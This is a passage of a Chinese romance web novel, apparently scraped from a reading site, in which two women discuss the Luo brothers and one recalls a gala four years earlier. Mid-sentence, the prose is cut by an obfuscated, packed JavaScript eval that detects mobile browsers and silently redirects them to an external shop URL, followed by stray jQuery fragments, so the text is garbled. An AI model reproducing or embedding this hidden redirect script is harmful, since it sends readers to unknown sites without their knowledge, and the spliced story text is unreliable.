这是她今晚第二次提到骆沉了。
但江语涵不想聊,她已经决定放下过去了,还要知道他的过去干什么。他好的坏的,都不再和她有关系了。
她继续喝茶,茶很香,带着馥郁的香气,茶水是琥珀色的,不知道什么品种,但口感温润又甜,像极了她第一次去骆沉家里喝到的那种。
该死,她怎么又在想他。
“看来我没猜错,是你感兴趣的。”杜棠在娱乐圈混了那么久,最擅长的就是察言观色,就算江语涵没有说话,她也能从她的表情里看出来。
江语涵垂下眸,握着茶杯轻轻转动,一圈两圈三圈。
她承认她感兴趣,但还是不想聊。感兴趣和聊之间,隔着一个银河系。
杜棠笑笑,伸手从烟盒里利落地夹出支细长的薄荷烟:“不介意吧?”也不等江语涵回答,已然将烟点燃,这次她没有选择克制。
江语涵蹙了蹙眉,抬头提醒道:“你还怀着孕……”
“谁在乎?”杜棠轻蔑地瞥了她一眼,起身走至窗前,打开窗,吸了口烟,又徐徐喷出,她没有回头,视线望着窗外的夜景,似在出神。半晌,幽幽地叹了句:“你真幸运。”
江语涵不知道她意指什么,没有接话。
她幸运么?她幸运在哪里?
十八岁这年母亲病逝、父亲入狱,她差点被保姆的儿子猥|亵;大学毕业因为协议和一个声名狼藉的人结婚;上个月又从他嘴里得知深爱多年的男人的死讯,她到底幸运在哪里?
这些事情放在任何人身上都足以把一个人击垮击碎,她只是挺了过来。
如果这样也算幸运,她宁可不要!
杜棠当然不了解这些,她胳膊肘支在窗台上,扭头看向江语涵,一边说话一边将烟呼出,声音有些虚无:“如果幸运的那个人是我就好了。”
江语涵刺了刺眸,隔着烟雾,两个人的眼眶同时被烟熏得泛红。
“你那么聪明,其实也应该看得出,我只是假装骆清对我很好而已。”
“没见到你之前,我还能自欺欺人说他是喜欢过我的,但见了你之后我突然就明白了,原来他们不过是拿我当你的替身,都一样。”
“他们?”江语涵皱眉。
杜棠睨着她,弹了弹指间的烟灰:“想听听我和骆沉的故事么?”
*
四年前。
“WAKE①”美妆公司的启幕盛典就设在“晴宫”的顶层宴会厅,是骆清提议的,骆沉没有拒绝。
这里的装修虽然不符合他的审美,但若只是用来举办宴席,也算合适。
晚宴由他亲自操办,对外是美妆公司的开幕庆典,对内其实是他为父亲,也就是骆氏集团董事长骆昆准备的一份厚礼。
这家美妆公司是由他一手创建的。
从立项、招人、研发、生产,再到上市,只用了短短一年半的时间,就已拿下美妆市场近三成的铺货率,战绩斐然。
并且今晚,他将把这家公司作为礼物不动声色地献给骆昆,直接归属在集团旗下,好让骆昆再次确定集团未来的掌权人已非他莫属。
巨型水晶灯的光芒倾泻而下,照得整座大厅璀璨生辉。
商界名流与合作伙伴无一缺席,面子给足。衣香鬓影、觥筹交错,空气里处处流动着上层社会浮华又奢靡的味道。
作为公司首支彩妆广告的女主角,杜棠自然也被邀请在列。
她盛装出席,花蝴蝶般穿梭于富商名贾之间,与他们握手拥抱、谈笑风生,脸上的表情写满了对跻身这场顶级圈层的渴慕和兴奋。
主台之上,骆沉捏着酒杯孑然而立,自带一股生人勿近的气场,对周围络绎不绝的寒暄与奉承,只淡淡地颔首应付,仿佛心不在焉。
杜棠很早就注意到他了,也很难不注意到他。
骆家长公子不仅在权贵圈盛名已久,在娱乐圈也是众多女星想嫁入豪门的不二之选。此刻亲眼见到本尊,她的心跳由始至终就没有慢下来过。即便在与别人斡旋时,余光也始终逗留在他身上。
这个男人英俊且富有,又是骆氏集团将来的接班人,如果能得到他哪怕只有一丝的青睐,她今晚也算没有白来。
晚宴过半,好不容易等到骆沉面前的人陆陆续续散开了,杜棠知道机不可失时不再来,立刻握着一杯香槟,款款走上前。
“骆总,很荣幸能参与这次广告的拍摄,特别期待与您下次继续合作。”她微微低着下巴,一边伸出手,一边目光曲折地抬眼看他。
她知道自己每当放低姿态做出这种表情的时候,就会显得妩媚又动人。
骆沉礼节性的与她握手,视线下落,轻轻怔住。
灯光炫目,打在身前这个女人的脸上,他看不出全貌,但她低眉抬眼时某个不经意的角度,竟与他爱而不得的那个人有三分微妙的相似。
周遭的喧嚣声仿佛在一瞬间抽离。
空气凝滞。
整整三秒钟。
他维持着握手的姿势,既没有动也没有松,冷眸里掠过一丝极淡的恍惚和热切,一闪而过,快得如同错觉。
三秒钟后,他若无其事地放开手,淡声道:“客气。”同时收回了视线。
她不是她。
他在她扬起脸的时候,蓦然发现她只是一个形似神非的影子,一个被浓妆艳抹覆盖的粗糙的赝品。
他半垂下眼皮,重新回到那幅不萦于怀的状态。
有那么一刹那,他希望她是她。
可惜她不是。
没有人能取代她。
不远处,骆清懒懒地靠在吧台前,看似漫不经心地晃动着手里的酒杯,却将这一幕尽收眼底。
他知道大哥向来倨傲冷漠,从不对任何人假以辞色,过去几年,身边来来往往的名媛千金没有几十也有十几,从没有人能令他动过心。所以他不懂眼前这个不入流的小明星凭什么让眼高于顶的骆沉迟疑了。
他看上了她什么?
骆清呷着酒,好奇地睨向杜棠,观察了片刻,似乎明白了点什么。
“有意思。”他轻笑,随后一口气吞掉杯里的酒,朝身旁的昆塔斯低声说,“替我把这个女人约出来。”
昆塔斯明白,他又在暗中与骆沉较劲了。
但他不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966072|211581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道的是,也就是在这一天,骆清才突然发现,他大哥看向杜棠那三秒钟的停顿里,蕴藏了太多他以前一直都忽略的讯息。
骆沉看着的,根本就不是杜棠。
而是杜棠脸上那三分相似的眉眼。
只得三分,就已足够。
*
回忆结束,杜棠虚掉的眼神渐渐凝住,她直到此刻才意识到,当时在骆沉眸底看到的那一霎的恍惚和热切,竟是低涌的暗潮和克制的欲望。
但那时候她心头一阵狂喜,还以为他竟对她一见钟情了。
现在她才恍然大悟:从来不是江语涵像她,而是她像江语涵。
那骆清呢?
他总在酒醉时看她,也是因为她有着张与江语涵相似的脸么?这么多年她被他呼之则来挥之则去的,他究竟拿她当什么?只是一个替身么?
杜棠望着远方深浓的夜色,轻轻呼出烟,风又把烟倒吹回她脸上。
她眨了眨眸,被烟味呛得一阵咳嗽,呛到眼泪都流了下来。
“还好么?”江语涵走到她背后,递了张纸巾给她。
“被熏到了。”杜棠反手接过纸巾挥了挥空气,又将剩下的烟头在窗台上捻灭,随手丢了个抛物线出去,“不抽了,对胎儿不好。”
江语涵蹙了蹙眉,没有说话。
杜棠回头睨着她:“我这人就这样,没什么公德心,不然也不会抢你老公了。不过说实话,我最开始看上的也不是他,是他大哥,可惜了。”②
江语涵仍是不语,眸色却暗了下来。
“其实他很早就喜欢你了吧?我说骆沉。”杜棠一边走回桌前,一边低笑着,“可惜当初我不懂,还以为他对我有意思。真好笑。”
江语涵吞了一下咽喉,继续沉默着。
她该说什么、要说什么、能说什么?她现在无论说什么,都是种讽刺。
“骆清也喜欢你,骆家两兄弟都喜欢你。你到底有什么魅力能让他们同时喜欢你?喜欢到宁愿找……”杜棠忽然住了口,有种说不下去的感觉。因为她发现自己越说,就越显得她可怜。
“骆清不喜欢我。”江语涵终于淡漠地开口,“他只是喜欢抢他大哥的东西,不管什么,只要是他大哥喜欢的,他都要抢。”
杜棠偏过头看她,不信:“少来了!要真是这样,他早该和你离婚了。骆沉都死了三年了,他现在要抢给谁看?难道抢给一个死人看?”
江语涵的喉头哽了一下,脸色有点发白,但杜棠说得话糙理不糙。
她耸耸肩:“可能因为他一直不甘心吧。”
“不甘心什么?”
“不甘心我也喜欢骆沉。”
“你也喜欢骆沉?”杜棠惊讶道,顿了顿,又问,“你既然喜欢骆沉,怎么会嫁给骆清?”
江语涵抿了抿唇,简短地回答:“阴差阳错吧。”
这次轮到杜棠沉默了。
眼前这女孩就这么云淡风轻地把她与骆家两兄弟之间的关系、把她和骆清的婚姻、把她和骆沉的感情,归结为“阴差阳错”这四个字。
她好像直到现在都看不出,骆清有多喜欢她。